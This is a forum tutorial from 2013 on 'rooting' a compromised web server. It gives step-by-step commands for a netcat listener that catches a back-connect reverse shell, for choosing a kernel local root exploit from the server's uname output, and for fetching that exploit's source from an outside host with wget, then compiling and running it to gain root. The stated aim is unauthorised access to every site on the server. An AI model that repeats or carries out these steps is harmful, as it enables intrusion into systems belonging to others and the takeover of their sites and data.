How To Root A Server. 08-10-2013, 11:24 AM
#1
After actually reading my tutorial again, it's very shitty. You should find a better one until I can make a good one.
Note this thread looks very ugly, sorry.
Hey guys, today I'll be teaching you how to root a server using a local root exploit.
What is rooting?
Rooting is gaining access to the servers root(admin) account. If done correctly you will have access to every site on the compromised server.
Back connecting.
What you will need.
Netcat
Local Root Exploit.
(The script provided is called Enlightenment, it should work on kernels older than may 14th.)
Back Connect Shell
Netcat
Local Root Exploit.
(The script provided is called Enlightenment, it should work on kernels older than may 14th.)
Back Connect Shell
So once we are in the server you will need to start up netcat.
We will do this using command prompt.
Go to the directory netcat is in.
Then do:
Then do:
Code:
nc.exe
Now you should see this.
![[Image: cd76bb9892.png]](http://puu.sh/3YnOy/cd76bb9892.png)
Now we want to have netcat listen on our port.
To do that we will use this command.
![[Image: cd76bb9892.png]](http://puu.sh/3YnOy/cd76bb9892.png)
Now we want to have netcat listen on our port.
To do that we will use this command.
Code:
-lvp (open port)
You should now see the following.
![[Image: c2e0093eb8.png]](http://puu.sh/3YnWn/c2e0093eb8.png)
![[Image: c2e0093eb8.png]](http://puu.sh/3YnWn/c2e0093eb8.png)
Now we want to go to our shell and back connect.
![[Image: 177435962e.png]](http://puu.sh/3Yoj6/177435962e.png)
If it worked you should see the connection in CMD.
![[Image: 3617c22453.png]](http://puu.sh/3YohB/3617c22453.png)
Now type uname -a into CMD and hit enter.
You can google parts of the uname to find the right exploit.
You can check exploit-DB or 1337day.
Compiling and running the exploit
Now you need to upload the exploit, you can do this using your shell or wget.
Code:
wget http://nignog.com/tutorial/sinister.c
Once the exploit is uploaded we need to chmod it to 777.
Code:
chmod 777 sinister.c
Now we want to compile and run the exploit.
Code:
gcc -o sinister sinister.c
To run the exploit.
Code:
./sinister
Now if it all worked out you should be root. Type "whoami" and it should say root.